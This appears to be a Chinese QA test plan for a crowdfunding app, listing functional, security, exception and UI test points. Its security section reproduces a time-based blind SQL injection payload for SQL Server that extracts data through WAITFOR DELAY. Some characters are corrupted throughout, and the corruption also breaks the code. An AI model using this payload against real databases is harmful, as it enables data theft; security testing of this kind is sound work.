众筹功能点分析及测试计划与方法

  • 格式:doc
  • 大小:27.50 KB
  • 文档页数:8

众筹功能点分析及测试计划与方法

登录

绑定

流程:输入需绑定有效手机号码->点击【下一步】->输入有效进行登录

功能:

 再次进入该页面查瞧登录状态

 校验手机号格式及可输入长度及类型

 使用等价类划分法,针对验证码就是否有效进行验证,提高用户体验

(60秒 倒计时完了之后, 显示重新发送验证码)

首页展示

流程:点击各TAB标签,可展示不同类别数据(推荐众筹、成功众筹、孵化基地)

功能:

 检索功能

输入内容为空进行查询

输入有效数据进行查询

输入无效数据进行查询

输入超长内容进行查询

输入特殊字符、英文、数字等进行查询

 刷新功能

向上滑动屏幕进行刷新 众筹功能点分析及测试计划与方法

向下滑动屏幕进行刷新

连续多次滑动屏幕进行刷新

 查瞧更多

 查瞧项目详情

查瞧成功众筹的详情

查瞧推荐项目的详情

查瞧孵化基地的详情

查瞧评论

发表评论(绑定手机号与为绑定手机号状态下测试)

首页

关注

举报

分享

 回到顶部

项目支持

流程:选择待支持项目->点击【力挺】->支付

(回报方式为实物类,需优先校验收货地址)

功能:

 支付成功:

1. 核对已筹金额及支持人数就是否正确

2. 会员中心->我的支持显示已支持项目 众筹功能点分析及测试计划与方法

发布项目

流程:点击导航栏【发布】->选择项目类型->编辑要发布项目-提交

功能:

 发布项目

编辑完整项目信息进行提交

编辑不完整项目信息进行提交

项目信息内容为空进行提交

编辑回报方式

删除回报方式

添加多个回报方式进行提交

校验个输入框可输入内容长度、字符类型、图片大小、图片格式等限制条件

查瞧项目条款,及选择与不选择2种状态下进行提交

查瞧已发布项目,并核对该项目显示内容就是否正确

 预览项目

 选择发布项目类别

消息

流程:点击导航栏【消息】->进行查瞧

功能:

 我的消息 众筹功能点分析及测试计划与方法

消息详情

消息标题

消息状态

 系统消息

消息详情

消息标题

消息状态

会员中心

流程:点击导航栏【我】->进行查瞧

功能:

个人设置

流程:点击导航栏【我】->个人设置

功能:

 更换头像

 编辑用户名

 显示绑定手机号码

 实名认证

流程:编辑认证信息并提交,后台审核通过,完成认证

1. 个人

2. 企业 众筹功能点分析及测试计划与方法

 地址管理

1. 添加地址

2. 修改地址

3. 删除地址

(绿色为默认地址)

 关于本平台

 退出账户

我的支持

流程:点击导航栏【我】->我的支持

选择项目进行支持,查瞧数据显示情况

功能:

 全部

 进行中

 已成功

 已失败

我的发起

流程:点击导航栏【我】->我的发起

发布一条众筹项目,并变化项目状态,查瞧数据显示情况

功能:

 全部 众筹功能点分析及测试计划与方法

 进行中

 已成功

 已失败

我的关注

流程:点击导航栏【我】->我的关注

关注一条众筹项目,查瞧数据显示情况

功能:

 关注

 取消关注

我的账户

交易记录

我的回报

帮助中心

其她

兼容性:

 微信

安全:

 SQL注入 众筹功能点分析及测试计划与方法

SQL盲注技术实例

对SQL服务器攻击的一个功能部分:

程序代码

DECLARE @x as int; DECLARE @w as char(6);

SET @x=ASCII(SUBSTRING(master、dbo、fn_varbintohexstr(CAST({QUERY} as

varbinary(8000))),{POSITION},1));

IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48; SET

@w='0:0:'+CAST(@x*{SECONDS} as char); WAITFOR DELAY @w

{QUERY}就是您想获得的数据这些数据可以使变量比如USER,函数比如db_name(2)或者就是返回一行与一列的Select声明。

{POSITION} 就是欲读取的半字节。您需要添加2来替换SQL服务器响应开始部分字串的“0x”。

{SECONDS}就是等待时间的乘数。等待时能以毫秒计,但就是也可以使用分数计算比如 等待延时'0:0:0、51 '。

 CSS注入

input type="text"

异常测试:

 弱网环境测试

 终端横竖屏切换及操作

 重复操作(多次点击按钮操作) 众筹功能点分析及测试计划与方法

 页面返回+返回键

 不同账户绑定情况下测试

UI测试:

校验页面布局、样式及显示字体